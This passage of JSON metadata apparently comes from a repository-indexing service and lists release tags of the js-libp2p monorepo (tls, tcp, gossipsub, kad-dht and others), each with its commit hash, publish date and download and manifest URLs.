name":"tls-v3.1.4","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.1.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.4/manifests"},{"name":"tcp-v11.0.22","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.22/manifests"},{"name":"simple-metrics-v2.0.17","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/simple-metrics-v2.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/simple-metrics-v2.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@simple-metrics-v2.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.17/manifests"},{"name":"record-v4.0.14","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/record-v4.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/record-v4.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@record-v4.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/record-v4.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/record-v4.0.14/manifests"},{"name":"prometheus-metrics-v5.0.23","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.23/manifests"},{"name":"pnet-v3.0.23","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.23/manifests"},{"name":"plaintext-v3.0.22","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.22/manifests"},{"name":"ping-v3.1.7","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.7/manifests"},{"name":"perf-v5.1.7","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.7/manifests"},{"name":"peer-store-v12.0.22","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.22/manifests"},{"name":"peer-record-v9.0.12","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-record-v9.0.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-record-v9.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-record-v9.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.12/manifests"},{"name":"peer-id-v6.0.11","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-id-v6.0.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-id-v6.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-id-v6.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.11/manifests"},{"name":"peer-collections-v7.0.22","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.22/manifests"},{"name":"opentelemetry-metrics-v2.0.23","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.23/manifests"},{"name":"multistream-select-v7.0.22","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.22/manifests"},{"name":"mplex-v12.0.25","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.25/manifests"},{"name":"memory-v2.0.22","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.22/manifests"},{"name":"mdns-v12.0.25","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.25/manifests"},{"name":"logger-v6.2.9","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/logger-v6.2.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/logger-v6.2.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@logger-v6.2.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.9/manifests"},{"name":"libp2p-v3.3.4","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.3.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.4/manifests"},{"name":"keychain-v6.1.3","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/keychain-v6.1.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/keychain-v6.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@keychain-v6.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.3/manifests"},{"name":"kad-dht-v16.3.3","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.3.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.3.3/manifests"},{"name":"interop-v14.0.30","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.30/manifests"},{"name":"interface-v3.2.4","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-v3.2.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-v3.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-v3.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.2.4/manifests"},{"name":"interface-internal-v3.1.7","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.1.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.7/manifests"},{"name":"interface-compliance-tests-v7.0.25","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.25/manifests"},{"name":"integration-tests-v1.2.14","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.14/manifests"},{"name":"identify-v4.1.8","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.8/manifests"},{"name":"gossipsub-v16.0.3","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v16.0.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v16.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.0.3/manifests"},{"name":"floodsub-v11.0.24","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.24/manifests"},{"name":"fetch-v4.1.7","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.7/manifests"},{"name":"echo-v3.1.7","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.7/manifests"},{"name":"dcutr-v3.0.22","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.22/manifests"},{"name":"daemon-v6.0.30","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.30/manifests"},{"name":"daemon-server-v9.0.30","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.30/manifests"},{"name":"daemon-protocol-v8.0.9","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-protocol-v8.0.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-protocol-v8.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-protocol-v8.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.9/manifests"},{"name":"daemon-client-v10.0.30","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.30/manifests"},{"name":"crypto-v5.1.20","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/crypto-v5.1.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/crypto-v5.1.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@crypto-v5.1.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.20/manifests"},{"name":"config-v1.1.33","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/config-v1.1.33","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/config-v1.1.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@config-v1.1.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.33/manifests"},{"name":"circuit-relay-v2-v4.2.7","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.7/manifests"},{"name":"bootstrap-v12.0.25","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.25","manifests_url":"https://repos.ecosyste.m